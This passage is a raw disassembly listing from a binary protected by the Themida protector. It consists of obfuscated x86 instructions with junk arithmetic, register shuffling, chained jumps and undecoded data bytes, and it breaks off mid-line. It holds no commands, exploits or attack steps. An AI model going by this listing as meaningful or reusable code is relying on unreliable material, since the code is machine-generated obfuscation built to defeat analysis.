--------------------------------------------------------------------------- loc_56C32F: ; CODE XREF: Themida_:0055C32Bj pop ebx mov ch, dh pop edx mov al, ch pop ecx xor bl, al jmp loc_559269 ; --------------------------------------------------------------------------- loc_56C33D: ; CODE XREF: Themida_:005591B7j xor esi, 93F3DD7Bh jmp loc_558510 ; --------------------------------------------------------------------------- loc_56C348: ; CODE XREF: Themida_:00559963j add dword ptr [esp], 4 pop edx push eax jmp loc_56B54D ; --------------------------------------------------------------------------- loc_56C353: ; CODE XREF: Themida_:00558968j pop esp sub edx, 4A8F28CDh jmp loc_567082 ; --------------------------------------------------------------------------- loc_56C35F: ; CODE XREF: Themida_:0056166Ej mov [esp], dx push ax pushf jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_56C36B: ; CODE XREF: Themida_:00556D0Bj ; Themida_:005666E9j sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ebx mov bl, 3Eh add al, 20h jmp loc_56BEC8 ; --------------------------------------------------------------------------- db 5, 2 dup(0FFh) dd 50E9FFFFh, 81FFFF45h, 4C6h, 0BE565700h, 7C565A78h, 77C653BFh dd 5EF7018Fh, 0B850D7F7h, 4B6E7808h, 0FFDD18E9h db 0FFh ; --------------------------------------------------------------------------- loc_56C3AD: ; CODE XREF: Themida_:0055D0A2j and ecx, 434E63C9h neg ecx dec ecx shl ecx, 5 jmp loc_55EEA8 ; --------------------------------------------------------------------------- loc_56C3BE: ; CODE XREF: Themida_:00559ECBj pop edi push ebp push esp pop ebp push ebx mov ebx, 7D171E42h xchg edi, ebx not edi xchg edi, ebx jmp loc_5594AC ; --------------------------------------------------------------------------- db 57h dd 9860DEBFh, 90F78132h, 0E95FC825h, 0FFFF1A8Ah ; --------------------------------------------------------------------------- loc_56C3E4: ; CODE XREF: Themida_:00561231j pop edx add ebx, edi pop edi mov esi, [esp] add esp, 4 sub edx, 17D105C7h add edx, ebx push esi jmp loc_55BF6B ; --------------------------------------------------------------------------- loc_56C3FC: ; CODE XREF: Themida_:0055996Dj mov [esp], ebx mov ebx, 4 jmp loc_556E48 ; --------------------------------------------------------------------------- loc_56C409: ; CODE XREF: Themida_:0056ABF9j shl ebx, 2 or ebx, 65C879CAh add ebx, 92020006h jmp loc_5585A0 ; --------------------------------------------------------------------------- loc_56C41D: ; CODE XREF: Themida_:00560AC9j xor ebp, [esp] mov esp, [esp] and [esp], al pushf jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_56C42C: ; CODE XREF: Themida_:0055F267j add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp dec esi jmp loc_558300 ; --------------------------------------------------------------------------- db 5Ch dd 54240489h, 0E924048Bh, 28Bh ; --------------------------------------------------------------------------- loc_56C44C: ; CODE XREF: Themida_:0055B66Fj push ebp mov ebp, esp jmp loc_56A6C3 ; --------------------------------------------------------------------------- loc_56C454: ; CODE XREF: Themida_:0056AA80j mov ebp, esi pop esi add eax, ebp jmp loc_568BA8 ; --------------------------------------------------------------------------- loc_56C45E: ; CODE XREF: Themida_:0055E7D4j add esp, 4 xor ebp, 0B922C39Fh mov edx, ebp push dword ptr [esp] pop ebp add esp, 4 add ebp, edx pop edx xchg ebp, [esp] mov esp, [esp] jmp loc_566BB8 ; --------------------------------------------------------------------------- loc_56C481: ; CODE XREF: Themida_:00569393j ; Themida_:0056CA13j mov [esp], ebx sub esp, 4 mov [esp], edi mov edi, 2E9272BBh or edi, 26C37A81h js loc_5577C3 sub edi, 1D3CFBD2h mov ebx, edi pop edi add dword ptr [esp+4], 6B464DBDh sub [esp+4], ebx sub dword ptr [esp+4], 6B464DBDh mov ebx, [esp] jmp loc_559A1B ; --------------------------------------------------------------------------- loc_56C4C3: ; CODE XREF: Themida_:0055DA73j xchg edi, [esp] mov esp, [esp] loc_56C4C9: ; CODE XREF: Themida_:0056BEA7j push ebp mov ebp, esp push ebx mov ebx, 59032214h jmp loc_559A7E ; --------------------------------------------------------------------------- loc_56C4D7: ; CODE XREF: Themida_:0055BFB4j mov dh, 6Bh and dh, 2Bh and dh, 0F0h sub esp, 2 mov [esp], bx mov bl, 46h xor dh, bl pop bx add al, 4Dh sub al, dh sub al, 4Dh jmp loc_55A44B ; --------------------------------------------------------------------------- db 68h dd 2A07h, 0BA241489h, 0C0A06D0h, 0FF6C0DE9h, 68EF81FFh dd 31241E02h, 8391E9FEh db 2 dup(0FFh) word_56C516 dw 77FFh ; DATA XREF: Themida_:00556238o dd 11589D1Ch, 0E99C2404h, 0FFFE9DC3h ; --------------------------------------------------------------------------- loc_56C524: ; CODE XREF: Themida_:loc_5691B0j sub esp, 4 mov [esp], esi push 20054B8Fh mov esi, [esp] jmp loc_557A5C ; --------------------------------------------------------------------------- loc_56C537: ; CODE XREF: Themida_:0056B23Ej and ecx, 57BA3B63h ja loc_56B4B9 jmp loc_560072 ; --------------------------------------------------------------------------- dd 555AD001h, 5455522Ch, 4C18159h, 81000000h, 4C1h, 74FF5100h dd 0E9590424h, 0FFFF3D7Dh, 4C681h, 60E90000h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56C573: ; CODE XREF: Themida_:0055EBF6j xor [esp], ebx xor ebx, [esp] mov esp, [esp] push 258h mov [esp], edx push 432h mov [esp], ebx push 4CDC6B64h push dword ptr [esp] pop ebx push ecx jmp loc_566074 ; --------------------------------------------------------------------------- loc_56C59B: ; CODE XREF: Themida_:00558DE7j sub dh, 42h mov bh, dh pop edx jmp loc_565D38 ; --------------------------------------------------------------------------- loc_56C5A6: ; CODE XREF: Themida_:00560068j pop ebx add esp, 4 push 58DAh mov [esp], ebx push edx mov dl, 57h not dl or dl, 39h jmp loc_56326C ; --------------------------------------------------------------------------- loc_56C5BF: ; CODE XREF: Themida_:00559C78j ; Themida_:00561472j add cl, ah add cl, 0E3h pop ax push edx mov dh, 0F3h and dh, 0D0h sub dh, 46h sub al, dh pop edx add al, cl jmp loc_557F63 ; --------------------------------------------------------------------------- loc_56C5D9: ; CODE XREF: Themida_:loc_569347j shl edi, 4 js loc_55D991 shr edi, 1 jmp loc_56C1AE ; --------------------------------------------------------------------------- byte_56C5E9 db 0FFh, 34h, 24h ; DATA XREF: Themida_:005560BCo dd 582434FFh, 4EC81h, 34890000h, 55E68924h, 37F4BF57h dd 0FD891BF3h, 0FF247DE9h db 0FFh ; --------------------------------------------------------------------------- loc_56C609: ; CODE XREF: Themida_:00569C22j mov [esp], eax jmp loc_55D83A ; --------------------------------------------------------------------------- loc_56C611: ; CODE XREF: Themida_:00569B22j pop ebp push 46D3h mov [esp], edx mov edx, 0 sub edx, 79F83950h sub edx, ecx add edx, 79F83950h push 5B40h mov [esp], edx xor dword ptr [esp], 5B9F69DBh pop ecx xor ecx, 5B9F69DBh mov edx, [esp] push 2674h mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] jmp loc_55AD26 ; --------------------------------------------------------------------------- loc_56C66A: ; CODE XREF: Themida_:005591DEj add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_5600E0 ; --------------------------------------------------------------------------- loc_56C67E: ; CODE XREF: Themida_:0055E384j pop ebx push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push 5285h mov [esp], ebx mov ebx, 4 jmp loc_56D1E7 ; --------------------------------------------------------------------------- loc_56C6A4: ; CODE XREF: Themida_:00562591j push dword ptr [esp] pop ebp push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_56349E ; --------------------------------------------------------------------------- loc_56C6B9: ; CODE XREF: Themida_:00568385j pop ebp push eax jmp loc_56D740 ; --------------------------------------------------------------------------- dd 8102EDC1h, 0FFFFFFEDh, 0C5814DFFh, 0E672D569h, 0DCE9E829h dd 53FFFEB5h, 0BE56E389h, 4, 348BF301h, 0BA77E924h, 4B9FFFFh dd 81000000h, 0D27823EFh, 81CF016Eh, 0D27823C7h, 0CB68596Eh dd 8900002Fh, 71E9240Ch db 0AFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56C70B: ; CODE XREF: Themida_:0055A50Fj pop ecx jmp loc_556C67 ; --------------------------------------------------------------------------- loc_56C711: ; CODE XREF: Themida_:0055EE44j xchg ebx, [esp] pop esp jmp loc_565F66 ; --------------------------------------------------------------------------- dw 0FF54h dd 7CE92434h db 87h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56C723: ; CODE XREF: Themida_:00565B2Fj mov edx, 6E9006DAh jmp loc_55649E ; --------------------------------------------------------------------------- byte_56C72D db 8Fh, 47h, 40h ; DATA XREF: Themida_:00556118o dd 0FEF4BBE9h db 0FFh ; --------------------------------------------------------------------------- loc_56C735: ; CODE XREF: Themida_:005589A8j add bl, 82h add bl, 0D5h sub bl, dh jmp loc_56110F ; --------------------------------------------------------------------------- loc_56C742: ; CODE XREF: Themida_:005603CFj pop edx movzx eax, al push dword ptr [edi+eax*4] push dword ptr [esp] push dword ptr [esp] jmp loc_561D69 ; --------------------------------------------------------------------------- loc_56C754: ; CODE XREF: Themida_:005606E8j pop ebp pop dword ptr [esp] mov esp, [esp] idiv ecx push edi push esp push dword ptr [esp] mov edi, [esp] jmp loc_55E172 ; --------------------------------------------------------------------------- loc_56C76A: ; CODE XREF: Themida_:0055BAB2j sub ch, 6Ah sub bh, 16h add bh, ch add bh, 16h pop ecx sub dl, bh pop ebx jmp loc_55CACC ; --------------------------------------------------------------------------- loc_56C77E: ; CODE XREF: Themida_:0056232Ej add esp, 2 jmp loc_567625 ; --------------------------------------------------------------------------- loc_56C789: ; CODE XREF: Themida_:00561AA2j jmp loc_5562E7 ; --------------------------------------------------------------------------- dw 0C483h dd 61F18104h, 0F7D153Dh, 0FFBD138Ch, 7E9C1FFh, 0B9BE850Fh dd 0D931FFFEh, 0D931CB31h, 0D931D3F7h, 0F101CB31h, 81D9015Eh dd 906FA6E9h, 81415B68h, 37D4FDC1h, 7DC681A8h, 81713F23h dd 1F22CEEEh, 6062E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56C7D6: ; CODE XREF: Themida_:00564A4Fj add esp, 4 push esi mov esi, 78E85D3Ah or esi, 0F3603DDh jmp loc_564257 ; --------------------------------------------------------------------------- loc_56C7EA: ; CODE XREF: Themida_:0055DC68j mov edi, [esp] jmp loc_55C3A1 ; --------------------------------------------------------------------------- dw 0F181h dd 0AC0329F6h, 0FF3BD7E9h db 0FFh ; --------------------------------------------------------------------------- loc_56C7FD: ; CODE XREF: Themida_:00560732j push 3DC478A8h pop edi not edi sub edi, 0C23B8753h mov esi, edi pop edi add edx, 2B7481Bh sub edx, esi sub edx, 2B7481Bh jmp loc_5582E0 ; --------------------------------------------------------------------------- loc_56C821: ; CODE XREF: Themida_:00564A94j add esp, 4 pop ebx push 0 sub dword ptr [esp], 6BE44DFCh sub [esp], ebx jmp loc_557D1A ; --------------------------------------------------------------------------- loc_56C839: ; CODE XREF: Themida_:005574B0j sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_56A555 ; --------------------------------------------------------------------------- loc_56C84B: ; CODE XREF: Themida_:loc_55BCDFj jmp loc_55F3FA ; --------------------------------------------------------------------------- loc_56C850: ; CODE XREF: Themida_:00563C90j add edx, 4 jmp loc_55B466 ; --------------------------------------------------------------------------- loc_56C85B: ; CODE XREF: Themida_:0056302Aj add esp, 4 xchg ebx, [esp] pop esp mul ecx push 3D04h mov [esp], edx push eax pushf jmp loc_55CE43 ; --------------------------------------------------------------------------- db 52h dd 410EE9BAh, 0E9505136h, 0FFFEFC73h ; --------------------------------------------------------------------------- loc_56C880: ; CODE XREF: Themida_:00566663j add esp, 4 or [edi+1Ch], ebp pop ebp jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_56C88F: ; CODE XREF: Themida_:00563464j add ebp, 23EB033Fh pop edx add ebp, 0C48E3CBFh add ecx, 0DA66372h add ecx, ebp sub ecx, 0DA66372h mov ebp, [esp] add esp, 4 xchg ecx, [esp] pop esp sub ebx, 8E6F1F5Dh jmp loc_55C7DF ; --------------------------------------------------------------------------- loc_56C8BF: ; CODE XREF: Themida_:0056CD24j add esp, 4 sub ebp, esi add ebp, 334B7F31h sub ebp, 19535EC7h mov esi, [esp] push eax mov eax, esp add eax, 4 jmp loc_561D98 ; --------------------------------------------------------------------------- loc_56C8E0: ; CODE XREF: Themida_:005646C9j or esi, 7F263479h sub esi, 26395FD9h jmp loc_562CD9 ; --------------------------------------------------------------------------- aLS db '▀$$И(',0Dh,0 db 0 ; --------------------------------------------------------------------------- loc_56C8F9: ; CODE XREF: Themida_:005594E0j mov ebx, [esp] push edi jmp loc_55C145 ; --------------------------------------------------------------------------- loc_56C902: ; CODE XREF: Themida_:00562756j jl loc_560E0E jmp loc_56D123 ; --------------------------------------------------------------------------- loc_56C90D: ; CODE XREF: Themida_:0055E830j mov ebx, 31BC12F5h xor ebx, 74E170D0h add edi, ebx jmp loc_55C48B ; --------------------------------------------------------------------------- loc_56C91F: ; CODE XREF: Themida_:00558F0Fj sub esp, 4 mov [esp], ebp jmp loc_565E38 ; --------------------------------------------------------------------------- db 68h, 47h, 67h dd 24890000h, 24048124h, 4, 4C18159h, 53000000h, 8D7117BBh dd 13F38118h, 1188D71h, 0C875BD9h, 24248B24h, 4EC81h, 14890000h dd 3D42BA24h, 0E9500A8Bh, 0FFFF17FCh ; --------------------------------------------------------------------------- loc_56C96C: ; CODE XREF: Themida_:0056A23Aj add ebp, 4 sub ebp, 4 push 5AA2h jmp loc_560A9D ; --------------------------------------------------------------------------- loc_56C97F: ; CODE XREF: Themida_:0056025Dj shl ebx, 3 js loc_56334C shl ebx, 3 jnz loc_5643B6 jmp loc_5696F1 ; --------------------------------------------------------------------------- dw 8157h dd 4C7h, 4C78100h, 87000000h, 65E9243Ch db 0CBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56C9AB: ; CODE XREF: Themida_:loc_563E87j add eax, 25CDC29Bh mov edx, eax jmp loc_56BE0D ; --------------------------------------------------------------------------- loc_56C9B7: ; CODE XREF: Themida_:00556408j mov eax, esp push edi mov edi, 4 add eax, edi jmp loc_55EB17 ; --------------------------------------------------------------------------- loc_56C9C6: ; CODE XREF: Themida_:0056A374j mov eax, 6CB1228Fh dec eax jl loc_55DF0B jmp loc_56A17F ; --------------------------------------------------------------------------- db 0C1h dd 5E904E1h db 67h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56C9DF: ; CODE XREF: Themida_:00564906j push ax push 6E95h mov [esp], edx jmp loc_5648FA ; --------------------------------------------------------------------------- dw 0E689h dd 4C681h, 0C6830000h, 24348704h, 0FFE750E9h, 28E95EFFh db 0EDh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56CA07: ; CODE XREF: Themida_:0056D12Fj sub esi, 59523A54h jnb loc_56823A jmp loc_56C481 ; --------------------------------------------------------------------------- dd 80240C8Bh db 0CEh, 0F5h, 5Eh byte_56CA1F db 0FFh ; DATA XREF: Themida_:0055615Co dd 0FF042474h, 68582434h, 684h, 89241C89h, 555356E3h, 92009CBDh dd 5DEB8919h, 1C8BDE89h, 0B2DDE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56CA46: ; CODE XREF: Themida_:00557A4Aj sub edx, ebx mov ebx, [esp] add esp, 4 pop edi add edx, 2 sub esp, 4 mov [esp], edx jmp loc_56D5FE ; --------------------------------------------------------------------------- loc_56CA63: ; CODE XREF: Themida_:0055850Bj push eax mov eax, 562D389Eh jmp loc_561A6B ; --------------------------------------------------------------------------- loc_56CA6E: ; CODE XREF: Themida_:0056550Cj push 4746h mov [esp], edx mov edx, 3DD33B91h sub [esp+8], edx jmp loc_55D3E0 ; --------------------------------------------------------------------------- loc_56CA84: ; CODE XREF: Themida_:0055696Aj sub al, 33h push edx mov dh, 0DDh add al, dh jmp loc_56BAE6 ; --------------------------------------------------------------------------- loc_56CA90: ; CODE XREF: Themida_:0055CFEAj add edx, ebx jmp loc_559C5A ; --------------------------------------------------------------------------- loc_56CA97: ; CODE XREF: Themida_:00564D8Bj mov [esp], edi push edx mov edx, 414A72D4h push edx jmp loc_565972 ; --------------------------------------------------------------------------- loc_56CAA6: ; CODE XREF: Themida_:0056028Fj mov esi, 299D4847h jmp loc_5647E6 ; --------------------------------------------------------------------------- loc_56CAB0: ; CODE XREF: Themida_:loc_568CE3j neg bl jmp loc_5684E7 ; --------------------------------------------------------------------------- loc_56CAB7: ; CODE XREF: Themida_:005688D5j ; Themida_:0056AA64j or edi, 407D2007h push ecx push 48461FA0h pop ecx jmp loc_562624 ; --------------------------------------------------------------------------- db 89h, 0D6h, 0E9h dd 0FFFF91B4h ; --------------------------------------------------------------------------- loc_56CAD0: ; CODE XREF: Themida_:0056750Cj add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] jmp loc_56A379 ; --------------------------------------------------------------------------- db 89h dd 5A542414h, 2E83BF57h, 48E91E61h db 0FCh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56CAF7: ; CODE XREF: Themida_:00561354j pop ecx jmp loc_5573DB ; --------------------------------------------------------------------------- loc_56CAFD: ; CODE XREF: Themida_:00564DD6j add esp, 4 jmp loc_557FA9 ; --------------------------------------------------------------------------- dd 3E05F005h, 242C8B1Ah, 81E78957h, 4C7h, 4C78300h, 0E9243C87h dd 0FFFFBF47h ; --------------------------------------------------------------------------- loc_56CB24: ; CODE XREF: Themida_:00565D53j pop eax sub eax, 7AC25B04h sub eax, esi add eax, 7AC25B04h pop esi jmp loc_5675B7 ; --------------------------------------------------------------------------- db 81h dd 200A9BF6h, 0EBEDE932h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56CB42: ; CODE XREF: Themida_:0055AD43j and dh, 0F3h jg loc_558DE4 and dh, 8Dh jnp loc_55FE53 sub dh, 42h pop edx loc_56CB58: ; CODE XREF: Themida_:00569DA7j push eax mov al, 8Eh jmp loc_55D891 ; --------------------------------------------------------------------------- dd 0EE81585Eh, 0E7142C71h, 348BF529h, 4C48324h, 242C8155h dd 1A3E05F0h, 0FEAD25E9h db 0FFh ; --------------------------------------------------------------------------- loc_56CB7D: ; CODE XREF: Themida_:0056535Ej mov ebx, esp add ebx, 4 jmp loc_56491C ; --------------------------------------------------------------------------- loc_56CB8A: ; CODE XREF: Themida_:00560032j sub edi, 7F7DFDEFh mov eax, edi mov edi, [esp] add esp, 4 add edi, eax pop eax jmp loc_55E34B ; --------------------------------------------------------------------------- db 89h dd 0E6892434h, 80BE5650h, 0B85EC065h, 77DA4BDFh, 0F75EF031h dd 0D1A535D8h, 0EE81D6E5h, 56A814EBh, 0FFE108E9h, 0E5E950FFh dd 89FFFED3h, 0BAA8E9E7h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56CBD6: ; CODE XREF: Themida_:005580DBj sub ecx, 1591418h mov ebp, ecx pop ecx jmp loc_56638C ; --------------------------------------------------------------------------- loc_56CBE4: ; CODE XREF: Themida_:0055F774j mov ecx, [esp] jmp loc_5671E2 ; --------------------------------------------------------------------------- loc_56CBEC: ; CODE XREF: Themida_:0056CC00j pop esp mov [esp], eax mov eax, 29F52D9Eh jmp loc_559F59 ; --------------------------------------------------------------------------- loc_56CBFA: ; CODE XREF: Themida_:00564853j add esp, 4 xchg esi, [esp] jmp loc_56CBEC ; --------------------------------------------------------------------------- db 0F7h, 0D1h, 0E9h dd 0FFFFD8C6h ; --------------------------------------------------------------------------- loc_56CC0C: ; CODE XREF: Themida_:00556B00j push 768Ch mov [esp], eax jmp loc_558CAE ; --------------------------------------------------------------------------- loc_56CC19: ; CODE XREF: Themida_:00564869j xchg ebp, [esp] jmp loc_55CE8D ; --------------------------------------------------------------------------- db 1, 0D3h, 5Ah dd 0EB81FB29h, 133B0992h, 81243C8Bh, 4C4h, 74FF5300h, 1C8B0424h dd 4C48124h, 8F000000h, 248B2404h, 24148924h, 0FE9696E9h dd 241489FFh, 0D9BB3BAh, 0AC1AE93Ch, 0E181FFFFh, 619A5D94h dd 3622C981h, 0CDE97A0Bh db 0DBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56CC6F: ; CODE XREF: Themida_:0055C046j pop ecx sub esp, 4 jmp loc_564337 ; --------------------------------------------------------------------------- loc_56CC78: ; CODE XREF: Themida_:005580A4j add esp, 4 push 7F39h mov [esp], edi mov edi, 4 add edx, edi push dword ptr [esp] pop edi add esp, 4 xchg edx, [esp] mov esp, [esp] jmp loc_557E08 ; --------------------------------------------------------------------------- db 5Bh dd 8904EC83h, 2BE2434h, 2D000000h, 56507C3Dh, 3D05F001h dd 5E56507Ch, 0FFDA5AE9h db 0FFh ; --------------------------------------------------------------------------- loc_56CCBD: ; CODE XREF: Themida_:00560EDDj mov ebp, esp add ebp, 4 push ecx mov ecx, 4 add ebp, ecx pop ecx jmp loc_55AF89 ; --------------------------------------------------------------------------- loc_56CCD3: ; CODE XREF: Themida_:0055F157j add esi, edi pop edi jmp loc_569984 ; --------------------------------------------------------------------------- loc_56CCDB: ; CODE XREF: Themida_:00563166j sub edx, 7AD33454h jmp loc_55BFCE ; --------------------------------------------------------------------------- dw 1C8Bh dd 0E681E924h, 5668FFFFh, 89000059h, 0DC68240Ch, 5911524Eh dd 0F708E1C1h, 20C981D1h, 0C173F90Ah, 0EC8304E9h, 3A25E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56CD12: ; CODE XREF: Themida_:00561765j add edi, eax jmp loc_568F66 ; --------------------------------------------------------------------------- loc_56CD19: ; CODE XREF: Themida_:0055B4B4j ; Themida_:0055EB61j push edx mov edx, 334B7F31h sub ebp, edx mov edx, [esp] jmp loc_56C8BF ; --------------------------------------------------------------------------- loc_56CD29: ; CODE XREF: Themida_:0055F9C0j mov eax, [esp] add esp, 4 push dword ptr [esp] push dword ptr [esp] pop edx add esp, 4 push ebp mov ebp, esp push esi mov esi, 4 add ebp, esi pop esi add ebp, 4 xchg ebp, [esp] pop esp xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] shr dword ptr [esp], cl pushf jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_56CD67: ; CODE XREF: Themida_:0055BC8Fj add esi, 4 xchg esi, [esp] pop esp add ecx, esi jmp loc_557BDA ; --------------------------------------------------------------------------- loc_56CD78: ; CODE XREF: Themida_:0055AA2Dj push eax mov eax, 5F855DC0h add ebx, eax mov eax, [esp] add esp, 4 not ebx or ebx, 125D6E9Ah not ebx add ebx, 678265EEh xor ecx, ebx pop ebx inc ecx push edx mov edx, 577033ECh xor ecx, edx jmp loc_560E64 ; --------------------------------------------------------------------------- dw 0EE81h dd 16606723h, 0E9E9D601h, 68FFFED1h, 44Ch, 0E9241489h dd 0FFFFBBB0h ; --------------------------------------------------------------------------- loc_56CDC4: ; CODE XREF: Themida_:00567C92j xor edi, 22CB867Fh mov ebp, edi mov edi, [esp] add esp, 4 sub ebp, 51C868D5h push esi mov esi, 0E7B5FA63h sub ebp, esi pop esi sub esi, ebp pop ebp add edx, esi jmp loc_55E18A ; --------------------------------------------------------------------------- loc_56CDEE: ; CODE XREF: Themida_:00562B01j mov [esp], edi jmp loc_55EE98 ; --------------------------------------------------------------------------- loc_56CDF6: ; CODE XREF: Themida_:0056646Bj add ebx, 2E2D1CC8h add ebx, edx sub ebx, 2E2D1CC8h pop edx push 0E2Bh mov [esp], esi mov esi, 4 jmp loc_565F7E ; --------------------------------------------------------------------------- db 1 dd 0C4BA52D0h, 0F73FC469h, 0EC8342D2h, 242C8904h, 948B19BDh dd 8BEA2975h, 8957242Ch, 4C781E7h, 83000000h, 3C8704C7h dd 0D0295C24h, 8324148Bh, 616804C4h, 89000016h, 0EC83240Ch dd 0E545E904h, 0EE01FFFFh, 0CFCEE81h, 815D2EF0h, 4EEh dd 24348700h, 58BCE95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56CE72: ; CODE XREF: Themida_:005610A8j pop ebp sub eax, 4D046A2Bh jmp loc_563322 ; --------------------------------------------------------------------------- db 20h, 0C7h, 58h dd 0FECA54E9h db 0FFh ; --------------------------------------------------------------------------- loc_56CE85: ; CODE XREF: Themida_:0055F098j mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push 7B90h mov [esp], ebx mov bh, 35h jmp loc_5579ED ; --------------------------------------------------------------------------- loc_56CEA3: ; CODE XREF: Themida_:00563C46j ; Themida_:00564061j add bp, 59A4h pop ax add ax, 1322h add ax, 434Ah sub ax, bp sub ax, 434Ah jmp loc_55BEC4 ; --------------------------------------------------------------------------- dw 2C89h dd 4EC8124h, 89000000h, 4832424h, 2C8B0424h, 36CBE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56CED6: ; CODE XREF: Themida_:0056A96Fj xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp movzx ecx, al jmp loc_560AEC ; --------------------------------------------------------------------------- dd 77BA525Ch, 81094C53h, 4C5373F2h, 5AD50109h, 777868h dd 24048900h, 468h, 24048B00h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_5685D8 ; --------------------------------------------------------------------------- loc_56CF16: ; CODE XREF: Themida_:005670D6j mov esp, [esp] mov [esp], ebx jmp loc_557C0D ; --------------------------------------------------------------------------- loc_56CF21: ; CODE XREF: Themida_:00556CE7j push esi push 34FF766Eh pop esi and ecx, esi jmp loc_556703 ; --------------------------------------------------------------------------- db 5Ah dd 31243433h, 34332434h, 1FDEE924h, 0D631FFFFh, 0E9D6F75Ah dd 0FFFE942Ah ; --------------------------------------------------------------------------- loc_56CF48: ; CODE XREF: Themida_:0055CCF4j mov cl, 0E3h sub cl, 63h not cl jmp loc_55998D ; --------------------------------------------------------------------------- dd 0E924048Fh, 0FFFEA851h, 0FEBCA80h, 0FF1FCF8Ch, 7DCA80FFh dd 0FFE8CEE9h, 0FD895EFFh db 5Fh, 56h, 55h ; --------------------------------------------------------------------------- loc_56CF73: ; CODE XREF: Themida_:005590D9j push 5168h mov [esp], edx mov dh, 0ACh sub ch, dh pop edx sub ch, 0CAh sub ch, bh add ch, 0CAh push ebx mov bl, 9Ah push eax mov al, 7 add al, 9 add bl, al pop eax push edx mov dh, 11h shl dh, 1 inc dh sub dh, 0BFh sub bl, dh jmp loc_56D530 ; --------------------------------------------------------------------------- loc_56CFA4: ; CODE XREF: Themida_:00560C5Fj mov ebp, [esp] push edi mov edi, esp sub esp, 4 mov [esp], esi mov esi, 4 jmp loc_56302F ; --------------------------------------------------------------------------- loc_56CFBA: ; CODE XREF: Themida_:0056AAF0j xor dh, ah pop eax shl dh, 2 push ecx jmp loc_566148 ; --------------------------------------------------------------------------- loc_56CFC6: ; CODE XREF: Themida_:00560F52j mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_5673F0 ; --------------------------------------------------------------------------- loc_56CFD9: ; CODE XREF: Themida_:005666B2j jmp loc_55DAF4 ; --------------------------------------------------------------------------- loc_56CFDE: ; CODE XREF: Themida_:0055EF5Ej add eax, ebp pop ebp push edx mov edx, 65E55373h shl edx, 2 xor edx, 2CD60425h sub edx, 0B03409Eh sub edx, 0AFBEBABCh sub eax, 1DF217B3h add eax, edx jmp loc_55F337 ; --------------------------------------------------------------------------- loc_56D008: ; CODE XREF: Themida_:0056760Ej movzx cx, ah push esi push esp jmp loc_56B29B ; --------------------------------------------------------------------------- loc_56D013: ; CODE XREF: Themida_:0056D762j mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp shr ecx, 7 push esi push edx mov edx, esp jmp loc_558A8E ; --------------------------------------------------------------------------- loc_56D02E: ; CODE XREF: Themida_:0055A38Fj mov eax, [esp] add esp, 4 jmp loc_55A722 ; --------------------------------------------------------------------------- loc_56D039: ; CODE XREF: Themida_:00567C02j add ebx, 206748EBh jmp loc_563D2B ; --------------------------------------------------------------------------- loc_56D044: ; CODE XREF: Themida_:0055C91Ej add edi, 0FBFEFDFFh mov edx, edi pop edi add [esp+4], edx mov edx, [esp] add esp, 4 push dword ptr [esp] pop ebp add esp, 4 push 7923h jmp loc_55CA9F ; --------------------------------------------------------------------------- loc_56D06E: ; CODE XREF: Themida_:005670C4j push edx push eax mov eax, 19911949h add eax, 67C670F0h jle loc_5645CE shr eax, 5 add eax, 3A0F205Fh sub eax, 715A005Ah jle loc_56B147 add eax, 0D726113h jmp loc_56D513 ; --------------------------------------------------------------------------- db 5Ch, 4Dh, 88h dd 328968C4h, 0FCE92BE3h db 0BEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56D0AB: ; CODE XREF: Themida_:00564E31j mov esi, 807F8659h add ebx, esi pop esi add edx, ebx pop ebx push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_563D9E ; --------------------------------------------------------------------------- dw 0D8F7h dd 3BC7502Dh, 58C101D9h, 0FF3C80E9h db 0FFh ; --------------------------------------------------------------------------- loc_56D0DD: ; CODE XREF: Themida_:0056B35Fj pop esi push eax mov eax, 46570BCFh push ebp mov ebp, 5AB528Ch neg ebp sub ebp, 0CB1A9638h and eax, ebp pop ebp sub esp, 4 mov [esp], esi jmp loc_5573CB ; --------------------------------------------------------------------------- loc_56D100: ; CODE XREF: Themida_:005616DEj ; Themida_:005648F5j mov eax, edx pop edx jmp loc_55F6C7 ; --------------------------------------------------------------------------- loc_56D108: ; CODE XREF: Themida_:005697D9j pop esi xor ebx, 89E2EA56h jmp loc_562596 ; --------------------------------------------------------------------------- loc_56D114: ; CODE XREF: Themida_:00565604j add ebp, 4 xchg ebp, [esp] pop esp jmp loc_55D103 ; --------------------------------------------------------------------------- loc_56D123: ; CODE XREF: 